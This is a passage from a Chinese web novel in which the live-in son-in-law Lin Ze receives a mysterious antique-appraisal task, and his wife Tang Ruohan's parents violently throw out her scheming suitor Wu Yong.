林泽眼眸中闪过好奇,随即抬脚走进。 跟旁边屋内的情形不同,面前的这所房间,方方正正,屋子极其干净。 没有陈旧气息,也没有堆积如山的档案。 一尘不染的书架上,只放了一个档案袋。 林泽更加疑惑。 靠近书架后,将档案袋拿起。 手里的档案袋斑驳泛黄,其中一角已经破损。 档案袋上的字迹,也有些模糊。 单位名称无。 年月日,张数,卷号码,也是空白。 只有标题处写着一行字,“任务1。” 林泽将档案反转,拿起泛黄的线头绕了几下,档案袋轻易被打开。 里面只有一张纸。 泛黄的纸张上,内容也极其简单。 【可选任务】 【要求】:翻开档案之日起,三十天内,通过鉴别文物积累二百万财富。 【嘉奖】:获得一次转动幸运转盘的机会。 盯着面前的纸张,林泽眉头微皱。 完成这些任务,还会有嘉奖? 只是。 那幸运转盘是什么? 对于任务要求,上面写得倒是清楚。 可这档案袋里面的内容会是真的吗? 或许,这是一个恶作剧? 脑海当中闪过这个念头,林泽很快摇了摇头。 之前那个房间里的档案,可都是真实存在的。 档案当中记载的文物,他也见到过不少。 所以眼前的任务……未必是假。 将档案纸张装回,林泽把档案袋放回到原处。 转身之际。 眼眸再次一惊。 东面的那面墙上,竟然有一个直径两米多的转盘! 转盘正在飞速旋转,却没有发出任何声音。 林泽眉头皱得更紧。 怎么回事? 刚刚进来的时候,东边那扇墙上明明什么都没有,这个转盘是什么时候出现的? 林泽停下脚步,目光注视墙面。 可那转盘转得太快了。 根本看不清楚上面写的是什么。 林泽试了几次,依旧无果,他干脆放弃。 反正已经知道了任务内容,只要目标完成,接下来的事情自然会清晰。 缓缓走出房间。 林泽的目标也变得坚定。 这些年,他脑海当中已经储备了不少文物知识,通过鉴别文物赚钱,应该不是什么难事。 而那个奖励的幸运转盘,或许是改变他命运的一个契机。 一时间。 林泽的心情也跟着激动起来。 …… 再次睁开眼。 林泽本能地看向墙上的钟表。 凌晨两点。 距离天亮还有一段时间,林泽干脆又翻了一个身,找了一个舒服些的姿势,重新睡觉。 …… 次日清晨。 唐若涵吃完饭,刚要出门,手机突然响起来。 站在门口处,唐若涵掏出手机。 发现屏幕上显示的是“苏晴”两个字,脸上瞬间露出无语的表情。 按下接听键,随后又打开免提,这才将手机放到玄关处。 “有事快说,换好鞋以后,我要出门了。” “表姐,别那么着急嘛,你是公司里的最高领导人,之前还不是自己安排?” 苏晴的声音懒洋洋的,说起话来不紧不慢。 此时。 唐若涵已经换好一只鞋子。 “给你两分钟的时间,时间一到,我立刻挂电话。” “好好好,我说还不行吗?其实给你打这通电话,我是帮你的,我想到了一个好主意,就是你那微电影男主角!” 此话一出。 唐若涵眼眸瞬间收紧,声音也变得急促。 “什么意思?你们学校里有合适的人选?快说来听听!” 下一部微电影的男主角,一直是唐若涵头痛的问题。 官网上的招聘启事从来没有断过,可每次前来应聘的人员,给唐若涵的感觉都是一眼否。 要么个头不高,要么气质不符。 尤其是最近几天,面试的人不少,合格的一个也没有。 光是想想,唐若涵就觉得头大。 上次苏晴过来,两个人无意间聊起男主角的事情,苏晴当即说了句,那些专业的人员不符合标准,不专业的未必不行。 于是,唐若涵便让苏晴留意一些,看看大学当中有没有合适的人选。 没想到,她那边这么快就有结果了。 电话那端。 苏晴咯咯地笑,顺带着还调侃了唐若涵一句。 “某个人啊,不是没有时间吗,不是只给两分钟吗?” “别闹了,你赶紧说,我这边时间真的非常紧。” 换好鞋后,唐若涵再一次催促。 苏晴清了清嗓子,声音也变得郑重起来。 “表姐,我经过细心筛选,发现的确有合适的人选,不过并不是我们学校的,其实那个人就在你的身边。” “吴庸?” 唐若涵想也不想地问出一句。 推荐吴庸做男主角,这样的话王静已经说过了。 但是,吴庸的气质…… 唐若涵微微摇头。 “他不行。” “我知道他不行,我又没说是他?表姐,我要说的人是姐夫!” “林泽?” 不等唐若涵再问其他,苏晴当场就给出答案。 “对,你的剧本我已经看过,我觉得除了姐夫以外,再也没有合适的人选!” “我姐夫面容俊朗,一身正气,放在古代绝对是侠肝义胆的大英雄!” “只是,他人有些瘦。” “不过没关系,瘦人最上镜了,我敢打包票,你要是让姐夫做男主角,你这微电影绝对大火!” 苏晴一开口便说了一大堆,全都是夸奖林泽的话。 唐若涵愣住,整个人都有些蒙圈。 林泽? 他从来没有进过剧组,也没有试过镜,他能行吗? “信息我已经给你提供了,至于你能不能够把握住这次机会,全看你的个人魅力了!” “实在不行,你就先上点美人计,先把姐夫搞定再说。” “不然,绝对是你的损失!” 说完这些,苏晴竟然来了句,“好了,我现在时间有点紧,先挂了!” 听着电话那边没有了声音。 唐若涵依旧愣在原地。 这时。 林泽从厨房里走出来。 “唐总,今天要开车送您去公司吗?” 林泽声音传来,唐若涵这才缓过神。 接着。 唐若涵的目光停在林泽脸上。 林泽的颜值的确……很高。 五官立体分明,却又很精致。 削瘦的脸庞线条流畅,眉宇间,散发着坚毅和傲气。 高挺鼻梁将男性刚美之气展露得淋漓尽致。 唐若涵开始以制片人的目光审视林泽,竟然发现,面前这张脸,无可挑剔! “唐总?” 这时。 林泽又叫了一声。 唐若涵的思绪瞬间回归。 “哦,不用,我自己开车去就行,你先忙!” 迅速拿起手机,唐若涵加快脚步,匆忙转身。 一直到来到车旁,心,依然在怦怦地跳。 怎么回事? 就连唐若涵自己也想不清楚,刚才,为什么会逃一样的离开? 第一卷 第74章 吴庸的美好幻想。 打开车门。 唐若涵深吸好几口气,心情终于平复。 抬腕看了一下时间,这才启动汽车。 再不出门,真就要迟到了。 一路上。 唐若涵都在思索苏晴的那通电话。 林泽虽然没有什么经验,倒是可以去试试镜。 只是。 不知道林泽愿不愿意。 “算了,不想了,回去以后再问他的意思吧。” 喃喃自语完毕。 唐若涵重新将注意力集中。 今天,公司日程上有不少安排。 另外,上午要跟吴庸一起去别墅见父母。 下午六点,还要去沈家那边。 每一样,都无法推脱。 …… 将餐桌收拾完毕,林泽坐在椅子上沉思。 在三十天之内,鉴别文物积累二百万财富…… 这件事情,必须要认真思索一下。 根据唐英豪合约上的规定,在合约期间,他是不能参加任何工作的。 可眼下,距离合约到期的日子,也只有四天了。 一旦跟唐若涵离婚,那些合同条款便再也无法约束自己。 所以,可以确切地说,他要在二十六天之内完成任务要求。 至于鉴别文物的途径,林泽现在还没有想好。 如果去寻常的鉴定机构上班,一个月要挣二百万,根本不可能。 况且。 即便是正常的工作单位,哪怕是转正的员工,也不可能当月发工资。 所以,这个办法是不可取的。 短时间之内获得如此一大笔财富,除非给私人做鉴定。 但是。 现在市面上鉴定机构那么多,鉴定人员又是鱼龙混杂,为了保险起见,很多人连正规机构的鉴定人员都不敢用,更不要说自己这种无证无资质的人了。 突然。 林泽眼前一亮。 脑海当中猛地闪过一个想法。 鉴宝综艺节目? 这个或许可行! 现在有不少电视台有综艺鉴宝栏目,而且热度还很高。 最火爆的,当属东海电视台的《流失的文明,我来了》这档真人秀节目。 节目开播以前,宣传如火如荼。 尤其是巨额奖金,让一大群人心潮澎湃。 据说。 这档节目极具挑战性,背后是东海多家龙头企业合力打造的。 林泽心中一阵激动,迅速拿起手机搜索。 可看到下一期的开播时间,情绪瞬间跌到谷底。 上一期节目已经结束。 下一期要开始,是在二十七天以后。 这时间卡的,好像专门跟自己过不去一样。 本来还打算让星星之火燎原,可依照现在来看,火还没烧起来就被浇灭了。 缓缓将手机放下,林泽干脆重新计划。 在这四天当中,先离婚再说。 至于档案库里的任务,等离婚了再做也不迟。 在唐英豪面前,林泽把想法表达得非常清楚。 昨天见到唐老爷子,他又拒绝了接管企业的邀请。 这份离婚的决心,唐家人应该都能看得到。 所以,等到了日期,应该不会有什么阻碍。 想清楚这些后,林泽又开始在手机上查阅林振山的病情。 虽然医院已经下了最后通牒,可不到最后时刻,林泽依旧不想放弃。 …… 闪创影视传媒。 总裁办公室。 墙上,钟表指针刚刚指向十点,一阵铃声便传来。 唐若涵抬眸。 电话是吴庸打来的。 放下签字笔,唐若涵按下接听键。 “小涵,你准备好了吗?我马上出发,十五分钟到你公司楼下。” 吴庸声音充满兴奋。 隔着手机听筒,唐若涵都能感受得到。 “现在刚十点,你不觉得太早了吗?” “哪里会早,我还觉得晚了,今天可是我正式拜访伯父跟伯母,去得晚了,显得不礼貌。” 说到这里,吴庸轻笑了两声。 “不瞒你说,光想着今天见面的细节,我昨天一夜都没有睡好。” 唐若涵没有接上吴庸的话头,可脸上却扬起淡淡笑意。 吴庸很重视这次见面,他也算有心了。 人们都说爱屋及乌。 吴庸这样郑重地对待自己的父母,足以说明自己在他心中的位置。 “小涵,你也要早点准备,我很快就要到了。” 吴庸再一次催促。 唐若涵点头,温婉细腻地答应,“那好吧,十五分钟以后我在楼下等你。” “Ok,一会儿见!” 唐若涵嗯了一声,接着将电话挂断。 …… 吴庸打了个响指,通过后视镜整理了一下发型,接着将油门踩到底! 隐忍三年,终于等到这一天了。 半小时以后,他吴家大公子便可以郑重地踏进唐家的大门。 从今往后,便是他飞黄腾达的开始! 同时。 一幕幕画面也在吴庸脑海当中呈现。 唐英豪和周美珊只有唐若涵一个女儿,只要他跟唐若涵结婚,以后,唐家的一切都是他的! 顶着唐家女婿的名号,他可以堂而皇之地接受这一切。 另外。 一旦跟唐若涵有了夫妻之实,那接下来的各种事情,还不是他说了算? 这样一来。 既能抱得美人归。 又能完成幕后老板交代给的任务。 妥妥的一箭双雕。 简直不要太美好。 吴庸嘴角笑意掩藏不住,弧度也越来越大。 趁着还没有到唐若涵公司楼下,吴庸干脆哼起歌来。 “所有一切,皆已如愿。” “自此以后,老子便是天!” “我能屈能伸,能进能退,我便是天!” 吴庸越唱越得意,最后干脆扯着嗓子干嚎起来。 歌词里头的描述,不正是自己吗? 为了今天这一天到来,他不知道做了多少努力,下了多少心血? 看着副驾驶座上的两个木质盒子,吴庸深吸了一口气。 为了讨未来岳父岳母的欢心,他也算是下了血本了! 光是这一次见面,花了他将近百万。 更不要提还要加上那一串东珠项链了,付钱的时候,他的肉都在疼。 给唐英豪的字画,吴庸不敢保证他能喜欢。 但是,那一串项链,绝对能讨周美珊的欢心。 清东珠。 色如淡金,莹白圆润。 戴在身上不仅彰显华贵,更具收藏价值。 周美珊喜欢珠宝,这是圈子里公认的事情,这串项链一拿出来,绝对能够让她帮着自己说话。 汽车行驶过程当中。 吴庸意外地想到了林泽。 于是,嘴巴当场咧开。 林泽啊林泽,想不到吧,你跟唐若涵还没有离婚,我已经讨到唐英豪和周美珊的欢心了。 你还在洗锅刷碗。 我已经带着唐若涵坐上唐家正座了! 这种差距。 你无法想象! 吴庸手指轻弹方向盘。 突然。 一个急刹,整个人的身体都开始往前扑! 第一卷 第75章 小兔崽子,给我滚蛋! “你他妈有病啊,色盲还是着急去奔丧!” 骑自行车的年轻人恨恨盯着吴庸的车,眼珠子都要瞪出来。 骂完以后。 居然还在地上吐了一口口水。 接下来,那年轻人又说了什么,吴庸没有听清楚。 他按下玻璃,刚想探出脑袋回怼,那人已经蹬着自行车跑远了。 望着眼前的红灯,吴庸咬紧后牙,耳朵边上都是咯咯的咬牙声。 “该死的!” 直到说出这句话,吴庸才低头看了一下脚面。 刚才只顾着出神,根本没发现绿灯变红灯。 仿佛是眨眼的功夫,一辆自行车便猛冲出来。 还好反应快,一下子将刹车踩到底,不然,那人十有八九会被撞飞。 如此一想。 吴庸再次皱起眉头。 接下来,一连说了好几句“还好反应快。” 真要是在这个节骨眼上出了车祸,那就是天大的麻烦。 处理交通事故是小事,没办法在约定的时间内见唐英豪跟周美珊,绝对会影响到后续计划。 深吸一口气,吴庸暗自告诉自己,可不能再走神了,一定要认真开车。 这时。 耳朵边上传来急促的喇叭声,他这才发现,后面的车子在催促自己前行。 红灯已经变成了绿灯。 透过后视镜,吴庸狠狠地翻了个白眼,这才继续向前行驶。 几分钟过后。 吴庸的汽车停在一座办公楼前。 刚刚拨通唐若涵的电话号码,对方竟然挂断了。 吴庸一脸不解,疑惑地看向大楼门口。 很快。 脸上露出久违的笑容。 唐若涵……出来了。 阳光下。 唐若涵美的出尘脱俗。 深栗色的大波浪头发,随意披在肩上。 淡蓝色连衣裙简单优雅,肩上的米白色毛衣又透着一丝休闲。 白色的半高跟鞋,精致高级。 此刻,唐若涵正朝他走过来,脸上带着明媚的笑容。 身材凹凸有致。 吴庸低头,迅速伸出手看了看。 唐若涵那纤细的腰肢,不知道自己一只手能不能握得住? 轻揽美人入怀,低头…… 使劲甩了甩头,吴庸这才不去想刚才脑海当中闪过的画面。 “吴庸?” 这时唐若涵的声音恰好传来。 吴庸急忙抬起头,“小涵,你今天真漂亮。” 唐若涵不好意思的笑笑,抬手拢了一下头发。 “是吗?谢谢。” 吴庸赶紧下车,绕过汽车将副驾座的门打开,弯腰做了一个请的姿势。 “小涵,上车。” 唐若涵点点头,很快已经坐到副驾座上。 可这时。 吴庸依旧站在原地,眼睛始终看向自己这边。 “怎么了,我哪里不对吗?” “不,一切都好,你今天美得让人无法形容,”看到唐若涵在笑,吴庸的声音又急促了一些,“我说的是实话,平日里见惯了你干练的样子,今天,这装扮真让人眼前一亮。” “好了,赶紧走吧,我现在可没有时间听你夸奖,我们先去商场买东西,然后再回去。” 刚才下楼的时候,唐若涵已经做好计划。 现在是10:25,给父母买礼物,用时30分钟,最晚超不过35分。 再加上回家路上占用的时间,11:20左右他们一定能出现在父母面前。 而这个时间点,不早不晚,刚刚好。 唐若涵将计划说了一下,吴庸当场笑着摇头,语气当中也多了一丝其他的意味。 “小涵,礼物我已经准备好,挤出来的时间,是不是属于我们两个人的?” 此话一出。 唐若涵当场一愣。 吴庸提前准备了礼物,她并没有感觉太意外,可这最后一句问话,未免会让人多想。 尴尬地抬起头,唐若涵故作轻松地说:“没想到你这么用心。” “那当然,因为爱屋及乌,所以我投其所好,但你千万不要以为我是在耍小心思,我只是想让他们改变一下对我的看法。” 吴庸一脸认真,温柔地看着唐若涵。 他目光当中的宠溺,几乎要把唐若涵包围。 实在受不了吴庸眼中的热情,唐若涵迅速低下头去。 “是吗,你准备了什么?” “给伯父准备了一幅字画,唐代名家真迹,极具收藏价值,给伯母的,我专门选了一串东珠项链。” 看唐若涵静静地听着,吴庸说话时也提高了声音。 “东珠虽然没有一些玉石值钱,但是,地位极高,在清朝,那可是只有皇家才能使用的,绝对是身份象征。” “我思来想去,也只有东珠能够配得上伯母的气质。” “那项链可是上等东珠制作,绝对拿得出手。” 说完,吴庸笑着问了一句,“你要不要提前鉴赏一下?” 唐若涵摇头。 “你开着文物鉴定中心,对于早期的那些物件自然有自己的看法,我相信你的眼光。” 一句话说得吴庸心花怒放,嘴角再次向上扬起。 想到时间不那么紧急,唐若涵也没有催着吴庸快点开车。 于是,两个人在车里聊了一会儿,这才驶向唐家别墅的方向。 …… 唐家别墅,客厅。 周美珊一直看钟表。 唐英豪时不时地进入厨房指点一下厨师。 一直到11点的时候,他才坐到周美珊的身边。 “时间差不多了,一会儿这两个人就该来了,咱提前说好,今天就是联络感情,除此之外,咱们什么也不提。” “林泽这个人表面上看着和气,实际上也是犟种一个,典型的顺毛驴。” “今天别把事情搞砸了,主要是以和气为主。” 想起上次咖啡馆林泽拒绝自己的画面,唐英豪又皱着眉头撇了撇嘴。 周美珊一脸不屑,阴阳怪气地回怼。 “这还用得着你嘱咐?该怎么做,我心里早就想好了,你不用一遍又一遍地提醒我。” “我这不是担心吗,反正咱们的目的只有一个……” 唐英豪话还没有说完,周美珊便甩过来一个凌厉的眼神。 瞬间。 唐英豪闭上嘴巴。 “老爷,夫人,小姐回来了!” 一直守在外面的保姆突然闯进来,兴奋地大叫一声。 唐英豪立刻起身,一边往外走,一边指挥。 “可算来了,快点的,吩咐厨房抓紧时间做剩下的菜,还有,张妈,你把果盘摆好啊,人都来了,怎么还磨磨蹭蹭的!” 周美珊伸手拢了拢头发,脸上挤出一丝笑意,也跟着唐英豪往外走。 林泽和唐若涵结婚这三年里,他们从来没有像今天这样热情过。 要不是为了把林泽留下,她才不会这样降低身份。 刚来到门口。 唐英豪便迫不及待地讲出准备好的那番说辞。 “小涵,怎么来这么晚,我还想着跟林泽好好聊聊,又去公司了吧,早就跟你说过,要以家庭为主,你这……” 话说到一半。 唐英豪愣住,眼睛也跟着瞪圆! 站在面前的是唐若涵不假。 可是。 身边那人,怎么是吴庸? 周美珊一脸惊愕,“他怎么来了?” 一句话点醒唐英豪。 唐英豪瞬间黑脸,当场破口大骂。 “吴庸,你这个小兔崽子,你给我滚蛋!” 第一卷 第76章 吴庸屁股疼,太疼了! 吴庸的脚还没有站稳,唐英豪刺耳的声音便传来。 如果不是看到唐英豪伸手指着自己骂,吴庸真以为眼前这一切是幻觉。 怎么回事? 刚过了一个晚上,这两口子就变卦了? 昨天,在唐若涵的办公室,电话内容他听得清清楚楚。 那个时候,唐英豪热情得恨不得从手机屏幕里头钻出来。 还说什么“随时欢迎”“都是一家人”这种酸掉牙的话。 怎么翻脸就不认人了? 唐若涵也有些蒙圈,精致面孔上满是不可置信。 吴庸尴尬地站在原地,一时间,竟不知道该往前走还是往后退。 为了给唐英豪和周美珊一个好印象,他一大早就开始收拾自己。 高定西装,笔挺利索。 浑身上下都散发着精英派头。 此刻。 他一首拎礼盒,一手拿果篮。 画面何其温馨? 可偏偏,对面却是唐英豪一脸鄙夷的嫌弃。 唐若涵紧皱眉头,眼眶都有些泛红,急忙上前两步厉声质问。 “爸,你怎么骂人?” “骂人?”唐英豪冷哼,“老子我从来就不骂人,我只骂畜生,只骂二流子!” 唐英豪的话越说越难听,两只手还不停地挥舞。 唐若涵气得浑身打哆嗦。 “爸,你不可以侮辱人,就算你不喜欢吴庸,你也不能这样!” “我就是不喜欢他了,怎么了,三年前我就看不上他,现在我照样看不上他,你赶紧让这个人滚,他再不走,我就动手了!” 唐英豪扯着嗓子喊。 旁边。 周美珊匆匆走过来,一边给唐若涵使眼色,一边小声的嘟囔。 “小涵,你怎么把他带过来了?你现在把他带到咱家来,让林泽怎么想?你这孩子,做事怎么不想想后果?” 唐若涵嘴巴张圆,却连一句反驳的话都说不出来。 昨天在电话里他们还说的好好的,他们怎么可以出尔反尔? 一时间。 唐若涵委屈得几乎要掉眼泪。 “妈,当初我爸答应的时候,你也在场,现在你怎么帮着他说话?” “我提前打电话问过的,你们也同意了。” “这才过了几个小时,怎么就要把人往外轰?你们这么做讲不讲信誉?” 周美珊一头雾水,可此刻却没有给唐若涵解释的心情。 眼下面前的人不是林泽,一切都免谈。 屋子里的饭菜还有他们两口子的热情,那全都是给林泽准备的。 至于吴庸,他根本不配! 清了清嗓子,周美珊特意看看吴庸。 “小涵,你赶紧进屋,吴先生现在就离开吧!” “什么先生不先生的,给他脸了,这个小兔崽子再不滚,信不信我拿拖把把他轰出去!” 说话间。 唐英豪几个跨步便来到吴庸跟前。 眉毛,已经拧成一个疙瘩。 吴庸这才缓过神,急忙后退一步。 “伯父,您先冷静一下,有什么事情咱们慢慢说,其中是不是有什么误会?” 看到刚才的情形,吴庸也如同丈二和尚一样摸不着头脑。 周美珊和唐英豪的反应太出乎意料。 这期间,是不是发生了什么事? 昨天还高高兴兴地答应,现在他们两口子显然都把自己当成了仇人。 要说没人从中作梗,他不信! 脑海当中闪过这个想法,吴庸瞬间想到了林泽的那张脸。 肯定是林泽! 他在唐英豪那边嚼舌根,唐英豪这才动摇,翻脸不认人了! 肯定是的! 吴庸不敢接着往下想,因为这时,唐英豪再一次骂起来。 “你少在这里说这些屁话,赶紧滚,只要有我在,你就别想踏入我们唐家的大门!” “小兔崽子,你记清楚了,三年前我不同意你跟小涵交往,三年以后,照样不行!” “我们唐家的女婿只有一个,那就是林泽,想给我做女婿,你做梦去吧!” 吴庸被骂得狗血淋头,整个人呆若木鸡。 眼下。 唐英豪根本不给他说话的机会,更别提他们会静下心来分析究竟是怎么回事了。 看到唐英豪把自己羞辱成这般模样,吴庸脸色也变得难看起来。 “伯父,我不知道你为什么会对我有这么大的误解,三年前,我事业无成,没有办法给小涵更好的生活,这个我承认。” “可是,现在我已经有了自己的公司,而且还做出了一番成就,您为什么还如此针对我?” “我对小涵的心日月可鉴,即便她结婚了,我也从来没有忘记过她。” 趁着唐英豪喘气的机会,吴庸终于表达了当下的疑惑以及对唐若涵的爱意。 可谁知道,换来的竟然是一巴掌。 “啪!” 一声清脆的响声传来。 接着。 吴庸便感觉到半边脸火辣辣的疼! “我就知道你小子没存好心思,现在你果然说出实话来了,小涵都已经结婚,你还说什么忘不了她,想着她,你想干嘛?” 说着。 唐英豪一把揪住吴庸的脖领子,又从喉咙里挤出一句。 “我知道你小子回来没好事,你没憋什么好屁!感情你一直想破坏小涵的婚姻!” “滚蛋,马上给我滚蛋!” “再不滚我就报警了!” 唐英豪越说越激动,一边骂人一边揪着吴庸往外走。 偏偏这个时候,吴庸并不想挪动脚步。 所以,一个推,一个杠。 两个人僵持不下。 突然“哗啦”一声,果篮面的保护膜被挤开一道口子。 篮子里面的橘子和人参果,噼里啪啦的全都掉在地上。 见状。 吴庸干脆手一松,直接将果篮扔在地上。 看这样子。 今天不会有什么好结果了! 于是,他干脆把心一横,梗着脖子跟唐英豪吵起来。 “你是长辈,我不给你还口,但是话咱们得说清楚,是你邀请我到家里来的,现在你又把我轰走,如此反复,你不觉得丢人吗?” 唐英豪一愣,眼珠子都要从眼眶里瞪出来。 伸手指了一下自己的鼻子,唐英豪满脸的不可置信。 “我请你来的?想好事想疯了吧你?” “既然你愿意在脸上贴金,我也懒得搭理你,我让你来的是吧,好,我现在让你走!” “马上滚蛋,滚!” 吴庸被怼得一句话也说不出来,只好大口喘着粗气。 看到机会难得。 唐英豪突然加大手上的力道,猛地朝着吴庸一推。 吴庸一个趔趄,竟被推翻在地! 屁股挨到地面的那一瞬间,吴庸几乎哭出来。 屁股疼! 太疼了! 瓷器渣子戳的伤口还没好,现在又蹲了个屁墩。 新伤加旧伤,疼死人了! 眨眼的功夫,吴庸就蜷缩成了一个虾米。 “啊!” 唐若涵失声尖叫,脸色瞬间苍白。 “爸,你怎么可以这样,你太过分了!” 唐英豪猛地回头,眼睛几乎要喷出火来。 “你给我闭嘴!” “放着好好的日子不过,你带这么个浑蛋来家里干什么?” “给我听清楚了,你现在还没跟林泽离婚,你还是他老婆,别给我做这种丢人现眼的事情!” 唐若涵听完,眼泪当即顺着脸颊滑落。 “爸,我现在……不想跟你说……任何一句话!” 第一卷 第77章 攻下她的最好时机。 唐若涵浑身冰冷,似乎全身的血液都停止流动。 没时间去想,明明说好的事情为什么会变卦。 现在,她只感觉委屈。 父母哪里是在羞辱吴庸,这分明是在打她的脸! 踉踉跄跄地来到吴庸跟前,唐若涵弯腰将他扶起。 “吴庸,这里不欢迎我们,我们走!” “好啊,既然你的心思都在这浑蛋身上,那就跟他一块走,唐若涵,我告诉你,你敢踏出这个家门一步,从今往后你就永远不要回来!” 唐英豪气急败坏,当场扯着嗓子吼了一番。 吴庸见状,目光一转,当场扶住唐若涵的肩膀,语重心长地开口劝慰。 “小涵,听伯父的话,赶紧回去,不要让他们生气。” “我这边,你不用管,我自己回去就行。” “记住,你现在是大人了,不能耍小孩子脾气,你父母都是为了你好。” 听吴庸说完,唐若涵的情绪再也绷不住,眼泪如同决了堤一般的往下掉。 “吴庸,我不是他们的傀儡,不是他们手里的棋子,你不是说我现在已经是大人了吗,我有权利决定自己的人生,我想为自己活一次!” 唐若涵一阵哽咽。 说话的声音并不大,却清清楚楚地传入吴庸的耳朵。 同样。 不远处。 唐英豪也将这番话听得真真的。 不等吴庸开口,唐英豪弯腰捡起一个人参果,当场照着这两个人摔过去。 “啪!” 人参果没打中,砸到地上,瞬间被摔得四分五裂。 “都给我滚蛋,别在这恶心人!” 唐若涵盯着地上的一片狼藉,一颗心也如同面前的人参果一样,被伤得稀碎。 缓缓转过身,唐若涵红着眼眶看向唐英豪和周美珊。 “不用你们轰我,我现在就走,这个家我不会再回来,晚上,我也不会跟林泽一块去沈家!” 话音未落。 唐英豪当场梗住脖子。 “你还别拿这件事情吓唬我,沈老爷子那边,你爱去不去,这是你答应你爷爷的事情,跟我们没有关系!” 甩出这番话,唐英豪一把抓住周美珊,“走,回屋!” 周美珊还想说什么,可嘴还没有张开,人已经被唐英豪拖走。 门外的一干人等看到这副情形,大气也不敢出一声。 见唐英豪进屋,佣人保姆也全都转身,低眉顺眼地跟着进去。 院外。 瞬间变得安静无比。 只有面前的一片狼藉,提醒着唐若涵刚才发生的一切。 “小涵……” 吴庸欲言又止。 唐若涵抬起头,目光当中闪过一丝倔强。 “吴庸,你不用劝我了,我是不会回去的,今天的事情真是不好意思,对不起了。” “没事,小涵,你别这么说,你这样讲,我会更难过。” “走吧。” 唐若涵伸手擦了一下眼泪,大步朝门外走去。 吴庸倒吸一口凉气,悄悄地伸手摸了一下屁股,拿起面前的礼盒,匆匆跟上。 虽然被骂得狗血淋头,可吴庸却心花怒放。 为了他,唐若涵跟唐家吵翻了! 这既表明了唐若涵的态度,同时,也能证明自己在唐若涵心中的分量。 眼下最重要的事情,是安抚唐若涵。 通常情况下,女人在这个时候是最脆弱的,现在,他已经成了唐若涵最有力的依靠。 倘若自己再主动一些,弄不好,跟唐若涵很有可能生米煮成熟饭。 如果真是那样…… 吴庸使劲地剋着手掌心,才没有让自己笑出声音。 来到车前。 吴庸主动替唐若涵打开车门,脸上的表情,再一次变得沉重。 “小涵,我带你去吃些东西吧,今天的事情咱们不提了,你要开开心心的。” 唐若涵无奈地叹了一口气,柳眉皱成一团,用嘶哑的声音拒绝。 “不用了,我没心情,麻烦你把我送回到别墅。” 吴庸心中一紧。 唐若涵要回去,这怎么能行? 真把她送到别墅,那接下来的计划怎么进行? “不,小涵,我不能让你一个人回去,你这种状态我不放心。” 唐若涵抬起红肿的眼皮,一脸疲惫。 “谢谢你的好意,但是,我今天很累,我想休息。” 吴庸心中不甘,可唐若涵已经把话说到这个份上,他也不好再说什么。 只是。 心中瞬间被又酸又涩的感觉充满。 唐若涵现在的状态是进攻她的最好时候,她要是回别墅,这个机会岂不就给了林泽了? 该死! 真该死啊! 吴庸脸上闪过一丝失落,接着又像是在自我安慰。 “那好,我送你回去休息,反正以后我们有的是时间在一起。” 唐若涵没有说话,只是把头低得不能再低。 回去的路上。 吴庸关掉音乐,汽车里的氛围更加压抑。 唐若涵一直在想,事情为什么会弄成今天这个样子。 而此刻。 吴庸已经平静下来。 临走出唐家的时候,唐若涵跟唐英豪的那一番争吵,好像提到了沈老爷子,还有林泽。 瞬间。 吴庸心头一紧。 林泽不过是唐家的赘婿,除了脸蛋长得英俊一些以外,根本一无是处。 唐若涵要带着这种小白脸去沈家,真是高抬他了! 只是。 他们去沈家干什么? 紧张之余,吴庸又觉得非常疑惑。 还有几天,唐若涵跟林泽就要离婚,这个时候,他们两个人还成双成对的出去,这不合理! 这时。 旁边又传来唐若涵吸鼻子的声音。 “小涵,你别难过了,眼皮哭肿了可就不好看了,刚才伯父不是说,你还要去沈家吗?” 吴庸的问话看似不经意,可眼睛已经偷偷地在朝唐若涵那边看。 “不去了,我不想去。”唐若涵一边摇头,一边开口。 吴庸听完更加紧张。 看来自己刚才听得没有错,如果不出意外的话,今天晚上,唐若涵跟林泽是要去沈家的。 “小涵,可不可以告诉我,你去沈家干什么?” “你别误会,我只是担心你公司遇到问题,要向沈家求助,如果真是那样,我是不赞同你那样做的。” “我不想让你低三下四地看别人的脸色。” “小涵,你是我心中的女神,不管在什么情况下,永远都是。” “我不允许你被别人轻视!” 吴庸的一番话说得无比郑重。 唐若涵感动得热泪盈眶。 接着。 想也不想地把事情说了一遍。 最后,脸上又露出犹豫的神情。 “沈老爷子没有说是什么事情,只说是家宴,当时我答应了爷爷,但现在,我真的很纠结。” 来不及细品是怎么回事,吴庸当场又用起刚才欲擒故纵的伎俩。 “小涵,既然不是公司的事情,我劝你还是跟林泽一起去,毕竟你答应了爷爷。” “如果拒绝,沈家的颜面也有些挂不住,毕竟是长辈邀请晚辈,我们不能没礼貌。” “我知道你心里难受,可为了爷爷,你就委屈一下,跟林泽一块去吧。” 唐若涵不喜欢林泽。 现在跟父母又势如水火。 吴庸相信,在他这一番善意的劝说之下,唐若涵必然会果断地拒绝! 可谁成想。 事实跟自己想的,竟然有些不一样。 唐若涵眨眨眼睛,悠悠说出一句。 “你说的有道理,我不能那么冲动,沈家,还是要去的。” 瞬间。 吴庸心中有一万个草泥马奔腾而过…… 第一卷 第78章 赵夫人的邀请。 唐若涵改变了主意。 吴庸恨不得抽自己两个耳刮子! 真他妈嘴欠,胡逼逼个啥? 没有刚才那番话,说不定唐若涵还顾及不到大局。 现在可好。 经过自己的一番提点,唐若涵清醒了,顿悟了,主意也改变了。 可即便这样,他还得顺着唐若涵的话往下说。 “这就对了,不能任性。” 唐若涵感激地看着吴庸,“吴庸,你真让我另眼相看,遇事不慌,还能理性地分析一切。” 吴庸尴尬的笑笑。 我不慌,我理性? 你知不知道,我现在肠子都悔青了! 正不知道该说什么,唐若涵的手机突然响起来。 看了一眼手挎包,唐若涵犹豫了一下,这才伸手拿出手机。 本以为是父母打过来的,可手机屏幕上显示的却是“师母”两个字。 唐若涵调整了一下情绪,急忙按下接听键。 “师母,有什么事吗?” “若涵,你现在方不方便接电话,我有件事情要跟你讲。” 唐若涵看了一下吴庸,“师母,有什么事情你说吧,我现在正坐在副驾座上,开车的是吴庸。” 唐若涵的话说得非常自然。 电话那端,老太太的声音有些惊讶。 “原来你们在一起,既然方便接电话,那我就直说了,今天中午,你能不能带着林泽来别墅这边一趟?我想当面对他表示感谢。” 唐若涵一怔。 “师母,有这个必要吗?” “当然有,”老太太声音真诚,“那天的事情多亏了林泽,不然,我真不知道会做出什么糊涂的事情来,我必须要当面感谢他跟赵队长。” “我做好了饭菜,想让他们来家里吃一顿便饭,可是林泽的手机一直打不通。” “我想着,跟你打电话也是一样的,毕竟你们是夫妻嘛。” 